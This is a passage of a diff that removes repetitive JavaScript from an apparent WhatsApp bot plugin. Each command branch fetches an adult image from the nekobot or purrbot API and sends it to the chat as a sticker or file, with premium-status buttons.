-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno chica' : 'nsfws girl'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[3][1] : temaX[3][2]}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno chica' : 'nsfws girl'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[3][1] : temaX[3][2]}`]], m, frep)}}
-
-if (command == temaX[14][1] || command == temaX[14][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[14][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno anal 2' : 'nsfws anal 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[21][1] : temaX[21][2]}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno anal 2' : 'nsfws anal 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[21][1] : temaX[21][2]}`]], m, frep)}}
-
-if (command == temaX[15][1] || command == temaX[15][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[15][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}}
-
-if (command == temaX[16][1] || command == temaX[16][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[16][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], fkontak, m)
-}else{
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}}
-
-if (command == temaX[17][1] || command == temaX[17][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[17][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno furro 2' : 'nsfws furry'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornofurro' : 'nsfwafurry'}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno furro 2' : 'nsfws furry'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornofurro' : 'nsfwafurry'}`]], m, frep)}}
-
-if (command == temaX[18][1] || command == temaX[18][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[18][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}}
-
-if (command == temaX[19][1] || command == temaX[19][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[19][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno sticker' : 'nsfws sticker'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[2][1] : temaX[2][2]}`]], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno sticker' : 'nsfws sticker'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? temaX[2][1] : temaX[2][2]}`]], m, frep)}}
-
-if (command == temaX[20][1] || command == temaX[20][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[20][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}}
-
-if (command == temaX[21][1] || command == temaX[21][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[21][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}}
-
-if (command == temaX[22][1] || command == temaX[22][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[22][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}}
-
-if (command == temaX[23][1] || command == temaX[23][2]) {
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[23][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], fkontak, m)
-}else{
-await conn.sendFile(m.chat, link, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, link, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}}
-
-if (command == temaX[24][1] || command == temaX[24][2]) {
-let res = await fetch(APIs.purrbot + "img/" + temaX[24][0])
-let json = await res.json()
-let link2 = json.link
-let stickerr = await sticker(false, link2, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno anal' : 'nsfws anal'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoanal' : 'nsfwanal'}`]], fkontak, m)}
-
-if (command == temaX[25][1] || command == temaX[25][2]) {
-let res = await fetch(APIs.purrbot + "img/" + temaX[25][0])
-let json = await res.json()
-let link2 = json.link
-let stickerr = await sticker(false, link2, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-
-if (command == temaX[26][1] || command == temaX[26][2]) {
-let res = await fetch(APIs.purrbot + "img/" + temaX[26][0])
-let json = await res.json()
-let link2 = json.link
-let stickerr = await sticker(false, link2, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-
-if (command == temaX[27][1] || command == temaX[27][2]) {
-let res = await fetch(APIs.purrbot + "img/" + temaX[27][0])
-let json = await res.json()
-let link2 = json.link
-let stickerr = await sticker(false, link2, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-
-if (command == temaX[28][1] || command == temaX[28][2]) {
-let res = await fetch(APIs.purrbot + "img/" + temaX[28][0])
-let json = await res.json()
-let link2 = json.link
-let stickerr = await sticker(false, link2, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-
-if (command == temaX[29][1] || command == temaX[29][2]) {
-let res = await fetch(APIs.purrbot + "img/" + temaX[29][0])
-let json = await res.json()
-let link2 = json.link
-let stickerr = await sticker(false, link2, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno pussy' : 'nsfw pussy'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornopussy' : 'nsfwpussy'}`]], fkontak, m)}
-
-if (command == temaX[30][1] || command == temaX[30][2]) {
-let res = await fetch(APIs.purrbot + "img/" + temaX[30][0])
-let json = await res.json()
-let link2 = json.link
-let stickerr = await sticker(false, link2, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], fkontak, m)}
-
-if (command == temaX[31][1] || command == temaX[31][2]) {
-let res = await fetch(APIs.purrbot + "img/" + temaX[31][0])
-let json = await res.json()
-let link2 = json.link
-let stickerr = await sticker(false, link2, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18PornP(), `*_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, null, [[lenguajeGB.smsSigPrem(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno orgia' : 'nsfw orgy'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornorgia' : 'nsfworgy'}`]], fkontak, m)}
-
-if (command == temaX[32][1] || command == temaX[32][2]) {
-let res = await fetch(APIs.purrbot + "img/" + temaX[32][0])
-let json = await res.json()
-let link2 = json.link
-let stickerr = await sticker(false, link2, global.packname, global.author)
-await conn.sendFile(m.chat, stickerr, 'sticker.webp', '', m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: lenguajeGB.smsCont18PornP2(), body: wm, mediaType: 2, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer()}}}, { quoted: m })
-await conn.sendFile(m.chat, null, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-
-if (command == temaX[33][1] || command == temaX[33][2]) { //https://lewd.tritan.dev/api/v1/yaoi
-let res = await fetch(APIs.nekobot + "image?type=" + temaX[33][0])
-let json = await res.json()
-let link = json.message
-if (link.slice(-3) == 'gif') {
-let stickerr = await sticker(false, link, global.packname, global.author)
